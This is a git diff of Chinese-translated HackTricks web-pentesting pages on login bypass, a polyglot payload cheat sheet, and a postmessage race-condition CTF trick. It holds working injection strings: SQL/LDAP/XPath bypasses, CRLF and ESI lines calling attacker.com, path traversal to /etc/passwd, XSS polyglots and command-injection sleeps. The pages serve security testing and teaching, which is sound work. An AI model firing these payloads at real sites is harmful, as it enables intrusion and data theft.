||||
* Nodejs将将该有效负载转换为类似以下查询:` SELECT id, username, left(password, 8) AS snipped_password, email FROM accounts WHERE username='admin' AND`` `` `**`password=password=1`**`;` 这将使密码部分始终为真。
|
||||
* 如果可以发送JSON对象,则可以发送`"password":{"password": 1}`来绕过登录。
|
||||
* 请记住,要绕过此登录,您仍然需要**知道并发送有效的用户名**。
|
||||
* 在调用`mysql.createConnection`时添加`"stringifyObjects":true`选项最终将**阻止在参数中传递`Object`时的所有意外行为**。
|
||||
* 检查页面内的 **评论**(向下滚动并向右?)
|
||||
* 检查是否可以 **直接访问受限页面**
|
||||
* 检查 **不发送参数**(不发送任何或仅发送 1 个)
|
||||
* 检查 **PHP 比较错误:** `user[]=a&pwd=b` , `user=a&pwd[]=b` , `user[]=a&pwd[]=b`
|
||||
* **将内容类型更改为 json** 并发送 json 值(包括 bool true)
|
||||
* 如果你收到一条说 POST 不被支持的响应,可以尝试用 `Content-Type: application/json` 发送 **JSON 到请求体中,但使用 GET 请求**
|
||||
* 检查 nodejs 潜在的解析错误(阅读 [**这篇文章**](https://flattsecurity.medium.com/finding-an-unseen-sql-injection-by-bypassing-escape-functions-in-mysqljs-mysql-90b27f6542b4)): `password[password]=1`
|
||||
* Nodejs 会将该有效负载转换为类似以下的查询: ` SELECT id, username, left(password, 8) AS snipped_password, email FROM accounts WHERE username='admin' AND`` `` `**`password=password=1`**`;` 这使得密码位始终为真。
|
||||
* 如果你可以发送 JSON 对象,可以发送 `"password":{"password": 1}` 来绕过登录。
|
||||
* 记住,要绕过此登录,你仍然需要 **知道并发送有效的用户名**。
|
||||
* **在调用 `mysql.createConnection` 时添加 `"stringifyObjects":true`** 选项将最终 **阻止在参数中传递 `Object` 时的所有意外行为**。
|
||||
* 检查凭据:
|
||||
* 使用所使用技术/平台的[**默认凭据**](../../generic-methodologies-and-resources/brute-force.md#default-credentials)
|
||||
* **常见组合**(root、admin、password、技术名称、默认用户与这些密码之一)
|
||||
* 使用**Cewl**创建字典,**添加**默认用户名和密码(如果有的话),并尝试使用所有单词作为**用户名和密码**进行暴力破解
|
||||
* 使用更大的**字典进行暴力破解(**[**暴力破解**](../../generic-methodologies-and-resources/brute-force.md#http-post-form)**)**
|
||||
* [**默认凭据**](../../generic-methodologies-and-resources/brute-force.md#default-credentials) 的技术/平台
|
||||
* **常见组合**(root,admin,password,技术名称,带有这些密码之一的默认用户)。
|
||||
* 使用 **Cewl** 创建字典,**添加** **默认** 用户名和密码(如果有),并尝试使用所有单词作为 **用户名和密码** 进行暴力破解
|
||||
* **使用更大的字典进行暴力破解(**[**暴力破解**](../../generic-methodologies-and-resources/brute-force.md#http-post-form)**)**
|
||||
|
||||
### SQL注入身份验证绕过
|
||||
### SQL 注入认证绕过
|
||||
|
||||
[在此处,您可以找到通过**SQL注入**绕过登录的几种技巧](../sql-injection/#authentication-bypass)。
|
||||
[这里你可以找到几种通过 **SQL 注入** 绕过登录的技巧](../sql-injection/#authentication-bypass)。
|
||||
|
||||
在以下页面中,您可以找到一个**自定义列表**,尝试通过SQL注入绕过登录:
|
||||
在以下页面中,你可以找到一个 **自定义列表以尝试通过 SQL 注入绕过登录**:
|
||||
|
||||
{% content-ref url="sql-login-bypass.md" %}
|
||||
[sql-login-bypass.md](sql-login-bypass.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### 无SQL注入身份验证绕过
|
||||
### 无 SQL 注入认证绕过
|
||||
|
||||
[在此处,您可以找到通过**无SQL注入**绕过登录的几种技巧](../nosql-injection.md#basic-authentication-bypass)**。**
|
||||
[这里你可以找到几种通过 **无 SQL 注入** 绕过登录的技巧](../nosql-injection.md#basic-authentication-bypass)**.**
|
||||
|
||||
由于无SQL注入需要更改参数值,您需要手动测试它们。
|
||||
由于无 SQL 注入需要更改参数值,你需要手动测试它们。
|
||||
|
||||
### XPath注入身份验证绕过
|
||||
### XPath 注入认证绕过
|
||||
|
||||
[在此处,您可以找到通过**XPath注入**绕过登录的几种技巧](../xpath-injection.md#authentication-bypass)
|
||||
[这里你可以找到几种通过 **XPath 注入** 绕过登录的技巧](../xpath-injection.md#authentication-bypass)
|
||||
```
|
||||
' or '1'='1
|
||||
' or ''='
|
||||
|
@ -73,9 +76,9 @@
|
|||
admin' or '
|
||||
admin' or '1'='2
|
||||
```
|
||||
### LDAP注入身份验证绕过
|
||||
### LDAP注入认证绕过
|
||||
|
||||
[在这里,您可以找到几种绕过**LDAP注入**登录的技巧。](../ldap-injection.md#login-bypass)
|
||||
[在这里你可以找到几种通过**LDAP注入**绕过登录的技巧。](../ldap-injection.md#login-bypass)
|
||||
```
|
||||
*
|
||||
*)(&
|
||||
|
@ -91,31 +94,36 @@ admin))(|(|
|
|||
```
|
||||
### 记住我
|
||||
|
||||
如果页面具有“**记住我**”功能,请检查其实现方式,看看是否可以滥用该功能来**接管其他账户**。
|
||||
如果页面有“**记住我**”功能,请检查其实现方式,看看是否可以利用它来**接管其他账户**。
|
||||
|
||||
### 重定向
|
||||
|
||||
通常在登录后页面会重定向用户,请检查是否可以更改该重定向以引发[**开放重定向**](../open-redirect.md)。如果将用户重定向到您的网站,也许可以窃取一些信息(代码、cookie...)。
|
||||
页面通常在登录后重定向用户,请检查是否可以更改该重定向以导致[**开放重定向**](../open-redirect.md)。如果您将用户重定向到您的网站,可能会窃取一些信息(代码、cookie...)。
|
||||
|
||||
## 其他检查
|
||||
|
||||
* 检查是否可以通过滥用登录功能**枚举用户名**。
|
||||
* 检查是否可以通过登录功能**枚举用户名**。
|
||||
* 检查密码/**敏感**信息**表单**的**自动完成**是否处于活动状态:`<input autocomplete="false"`
|
||||
|
||||
|
||||
|
||||
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**RootedCON**](https://www.rootedcon.com/) 是**西班牙**最重要的网络安全活动之一,也是**欧洲**最重要的之一。作为促进技术知识的使命,这个大会是技术和网络安全专业人士在各个领域的热点聚会。
|
||||
[**RootedCON**](https://www.rootedcon.com/) 是**西班牙**最相关的网络安全事件,也是**欧洲**最重要的事件之一。该大会**旨在促进技术知识**,是各个学科技术和网络安全专业人士的一个热烈交流点。
|
||||
|
||||
{% embed url="https://www.rootedcon.com/" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 您在**网络安全公司**工作吗?您想看到您的**公司在HackTricks中做广告**吗?或者您想访问**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家[NFT收藏品**PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方PEASS & HackTricks周边**](https://peass.creator-spring.com)
|
||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享您的黑客技巧**。
|
||||
* 检查[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**上关注我们。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,34 +1,69 @@
|
|||
# Web Vulns List
|
||||
|
||||
## Web Vulns List
|
||||
{% hint style="success" %}
|
||||
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 您在**网络安全公司**工作吗?想要看到您的**公司在HackTricks中宣传**吗?或者想要访问**PEASS的最新版本或下载HackTricks的PDF**吗?查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家[NFT收藏品**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方PEASS & HackTricks周边**](https://peass.creator-spring.com)
|
||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks)**和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud)**提交PR来分享您的黑客技巧**。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
```python
|
||||
{{7*7}}[7*7]
|
||||
1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
|
||||
/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/
|
||||
%0d%0aLocation:%20http://attacker.com
|
||||
%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E
|
||||
%3f%0D%0ALocation://x:1%0D%0AContent-Type:text/html%0D%0AX-XSS-Protection%3a0%0D%0A%0D%0A%3Cscript%3Ealert(document.domain)%3C/script%3E
|
||||
%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2025%0d%0a%0d%0a%3Cscript%3Ealert(1)%3C/script%3E
|
||||
<br><b><h1>THIS IS AND INJECTED TITLE </h1>
|
||||
/etc/passwd
|
||||
../../../../../../etc/hosts
|
||||
..\..\..\..\..\..\etc/hosts
|
||||
/etc/hostname
|
||||
../../../../../../etc/hosts
|
||||
C:/windows/system32/drivers/etc/hosts
|
||||
../../../../../../windows/system32/drivers/etc/hosts
|
||||
..\..\..\..\..\..\windows/system32/drivers/etc/hosts
|
||||
http://asdasdasdasd.burpcollab.com/mal.php
|
||||
\\asdasdasdasd.burpcollab.com/mal.php
|
||||
www.whitelisted.com
|
||||
www.whitelisted.com.evil.com
|
||||
https://google.com
|
||||
//google.com
|
||||
javascript:alert(1)
|
||||
(\\w*)+$
|
||||
([a-zA-Z]+)*$
|
||||
((a+)+)+$
|
||||
<!--#echo var="DATE_LOCAL" --><!--#exec cmd="ls" --><esi:include src=http://attacker.com/>x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>>alert(/Chrome%20XSS%20filter%20bypass/);</s<esi:vars name="$(var1)"/>>
|
||||
{{7*7}}${7*7}<%= 7*7 %>${{7*7}}#{7*7}${{<%[%'"}}%\
|
||||
<xsl:value-of select="system-property('xsl:version')" /><esi:include src="http://10.10.10.10/data/news.xml" stylesheet="http://10.10.10.10//news_template.xsl"></esi:include>
|
||||
" onclick=alert() a="
|
||||
'"><img src=x onerror=alert(1) />
|
||||
javascript:alert()
|
||||
javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/*<svg/*/onload=alert()//>
|
||||
-->'"/></sCript><deTailS open x=">" ontoggle=(co\u006efirm)``>
|
||||
">><marquee><img src=x onerror=confirm(1)></marquee>" ></plaintext\></|\><plaintext/onmouseover=prompt(1) ><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->" ></script><script>alert(1)</script>"><img/id="confirm( 1)"/alt="/"src="/"onerror=eval(id&%23x29;>'"><img src="http: //i.imgur.com/P8mL8.jpg">
|
||||
" onclick=alert(1)//<button ‘ onclick=alert(1)//> */ alert(1)//
|
||||
';alert(String.fromCharCode(88,83,83))//';alert(String. fromCharCode(88,83,83))//";alert(String.fromCharCode (88,83,83))//";alert(String.fromCharCode(88,83,83))//-- ></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83)) </SCRIPT>
|
||||
```
|
||||
{% hint style="success" %}
|
||||
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
\`\`\`python \{{7\*7\}}\[7\*7] 1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS} /\*$(sleep 5)\`sleep 5\`\`\*/-sleep(5)-'/\*$(sleep 5)\`sleep 5\` #\*/-sleep(5)||'"||sleep(5)||"/\*\`\*/ %0d%0aLocation:%20http://attacker.com %3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E %3f%0D%0ALocation://x:1%0D%0AContent-Type:text/html%0D%0AX-XSS-Protection%3a0%0D%0A%0D%0A%3Cscript%3Ealert(document.domain)%3C/script%3E %0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2025%0d%0a%0d%0a%3Cscript%3Ealert(1)%3C/script%3E\
|
||||
<details>
|
||||
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
## THIS IS AND INJECTED TITLE
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
/etc/passwd ../../../../../../etc/hosts ..\\..\\..\\..\\..\\..\etc/hosts /etc/hostname ../../../../../../etc/hosts C:/windows/system32/drivers/etc/hosts ../../../../../../windows/system32/drivers/etc/hosts ..\\..\\..\\..\\..\\..\windows/system32/drivers/etc/hosts http://asdasdasdasd.burpcollab.com/mal.php \\\asdasdasdasd.burpcollab.com/mal.php www.whitelisted.com www.whitelisted.com.evil.com https://google.com //google.com javascript:alert(1) (\\\w\*)+$ (\[a-zA-Z]+)\*$ ((a+)+)+$ x=>alert(/Chrome%20XSS%20filter%20bypass/);> \{{7\*7\}}${7\*7}<%= 7\*7 %>$\{{7\*7\}}#{7\*7}$\{{<%\[%'"\}}%\ " onclick=alert() a=" '">![](https://github.com/carlospolop/hacktricks/blob/cn/pentesting-web/pocs-and-polygloths-cheatsheet/x) javascript:alert() javascript:"/\*'/\*\`/\*--> -->'"/>
|
||||
|
||||
 ">>![](https://github.com/carlospolop/hacktricks/blob/cn/pentesting-web/pocs-and-polygloths-cheatsheet/x)" >\<script>prompt(1)\</script>@gmail.com\<isindex formaction=javascript:alert(/XSS/) type=submit>'-->" >\</script>\<script>alert(1)\</script>">\<img/id="confirm( 1)"/alt="/"src="/"onerror=eval(id&%23x29;>'">\<img src="http: //i.imgur.com/P8mL8.jpg">\
|
||||
" onclick=alert(1)//\<button ‘ onclick=alert(1)//> \*/ alert(1)//\
|
||||
';alert(String.fromCharCode(88,83,83))//';alert(String. fromCharCode(88,83,83))//";alert(String.fromCharCode (88,83,83))//";alert(String.fromCharCode(88,83,83))//-- >\</SCRIPT>">'>\<SCRIPT>alert(String.fromCharCode(88,83,83)) \</SCRIPT>\
|
||||
\`\`\`\
|
||||
\<details>**从零开始学习AWS黑客技术,成为专家** [**htARTE(HackTricks AWS红队专家)**](https://training.hacktricks.xyz/courses/arte)**!**
|
||||
|
||||
* 你在**网络安全公司**工作吗?想要看到你的**公司在HackTricks上做广告**吗?或者想要获取**PEASS的最新版本或下载HackTricks的PDF**吗?查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
|
||||
* 获取[**官方PEASS和HackTricks周边**](https://peass.creator-spring.com)
|
||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我的**Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **通过向**[**hacktricks仓库**](https://github.com/carlospolop/hacktricks)**和**[**hacktricks-cloud仓库**](https://github.com/carlospolop/hacktricks-cloud)**提交PR来分享你的黑客技巧**。
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,28 +1,31 @@
|
|||
# 阻止主页面以窃取 postmessage
|
||||
|
||||
{% hint style="success" %}
|
||||
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习 AWS 黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS 红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 您在**网络安全公司**工作吗? 想要看到您的**公司在 HackTricks 中被宣传**吗? 或者您想要访问**PEASS 的最新版本或下载 HackTricks 的 PDF**吗? 请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家[NFTs 集合](https://opensea.io/collection/the-peass-family) - [**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获得[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在 **Twitter** 上关注我 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* **通过向 [hacktricks 仓库](https://github.com/carlospolop/hacktricks) 和 [hacktricks-cloud 仓库](https://github.com/carlospolop/hacktricks-cloud) 提交 PR 来分享您的黑客技巧**。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## 使用 iframe 赢得 RCs
|
||||
## 使用 Iframes 赢得 RCs
|
||||
|
||||
根据这个[**Terjanq 的解说**](https://gist.github.com/terjanq/7c1a71b83db5e02253c218765f96a710),从空源创建的 blob 文档出于安全考虑而被隔离,这意味着如果您让主页面保持繁忙状态,iframe 页面将被执行。
|
||||
根据这篇 [**Terjanq 文章**](https://gist.github.com/terjanq/7c1a71b83db5e02253c218765f96a710),从空源创建的 blob 文档出于安全原因是隔离的,这意味着如果你让主页面保持忙碌,iframe 页面将会被执行。
|
||||
|
||||
基本上,在这个挑战中,**一个隔离的 iframe 被执行**,并且**在**它**加载完成后**,**父页面将发送一个带有**标志的**post**消息。\
|
||||
然而,该 postmessage 通信**容易受到 XSS 攻击**(**iframe** 可以执行 JS 代码)。
|
||||
基本上,在这个挑战中,一个 **隔离的 iframe 被执行**,并且在它 **加载后**,**父**页面将会 **发送一个 post** 消息,包含 **flag**。\
|
||||
然而,这个 postmessage 通信是 **易受 XSS 攻击的**(**iframe** 可以执行 JS 代码)。
|
||||
|
||||
因此,攻击者的目标是**让父页面创建 iframe**,但在**让**父页面**发送敏感数据(标志)之前**让其保持繁忙状态,并将**有效负载发送到 iframe**。在**父页面忙碌**时,**iframe 执行有效负载**,这将是一些 JS 代码,将监听**父 postmessage 消息并泄漏标志**。\
|
||||
最后,iframe 执行了有效负载,父页面停止忙碌,因此发送标志,有效负载泄漏了它。
|
||||
因此,攻击者的目标是 **让父页面创建 iframe**,但 **在** 让 **父**页面 **发送** 敏感数据(**flag**)之前 **保持它忙碌**,并将 **有效载荷发送到 iframe**。当 **父页面忙碌时**,**iframe 执行有效载荷**,这将是一些 JS 代码,用于监听 **父 postmessage 消息并泄露 flag**。\
|
||||
最后,iframe 执行了有效载荷,父页面停止忙碌,因此它发送了 flag,且有效载荷泄露了它。
|
||||
|
||||
但是,您如何让父页面在**生成 iframe 后立即保持繁忙状态,并在等待 iframe 准备好发送敏感数据时**? 基本上,您需要找到**异步**的**操作**,您可以让父页面**执行**。例如,在该挑战中,父页面正在**监听**像这样的**postmessages**:
|
||||
但是你如何能让父页面在 **生成 iframe 后立即忙碌,并且在等待 iframe 准备好发送敏感数据时保持忙碌呢?** 基本上,你需要找到 **异步** **操作**,让父页面 **执行**。例如,在这个挑战中,父页面 **监听** **postmessages** 如下:
|
||||
```javascript
|
||||
window.addEventListener('message', (e) => {
|
||||
if (e.data == 'blob loaded') {
|
||||
|
@ -30,21 +33,24 @@ $("#previewModal").modal();
|
|||
}
|
||||
});
|
||||
```
|
||||
所以可以发送一个**大整数在postmessage中**,在比较时会**转换为字符串**,这将需要一些时间:
|
||||
所以可以在 **postmessage** 中发送一个 **大整数**,在比较中会被 **转换为字符串**,这将需要一些时间:
|
||||
```bash
|
||||
const buffer = new Uint8Array(1e7);
|
||||
win?.postMessage(buffer, '*', [buffer.buffer]);
|
||||
```
|
||||
为了准确地在**iframe**创建后但在其准备好接收来自父级的数据之前**发送**该**postmessage**,您需要**通过`setTimeout`的毫秒数进行调整**。
|
||||
为了精确地**发送**该**postmessage**,在**iframe**创建后但在其**准备好**接收来自父级的数据之前,您需要**调整`setTimeout`的毫秒数**。
|
||||
|
||||
{% hint style="success" %}
|
||||
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 您在**网络安全公司**工作吗? 想要看到您的**公司在HackTricks中做广告**吗? 或者您想要访问**PEASS的最新版本或下载HackTricks的PDF**吗? 请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家[NFT收藏品**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在**Twitter**上关注我 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享您的黑客技巧**。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**上关注我们。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,20 +1,23 @@
|
|||
# 通过使用iframe绕过SOP - 1
|
||||
# Bypassing SOP with Iframes - 1
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* 您在**网络安全公司**工作吗? 您想看到您的**公司在HackTricks中做广告**吗? 或者您想访问**PEASS的最新版本或下载HackTricks的PDF**吗? 请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方PEASS和HackTricks衣物**](https://peass.creator-spring.com)
|
||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享您的黑客技巧**。
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## SOP-1中的Iframes
|
||||
## Iframes in SOP-1
|
||||
|
||||
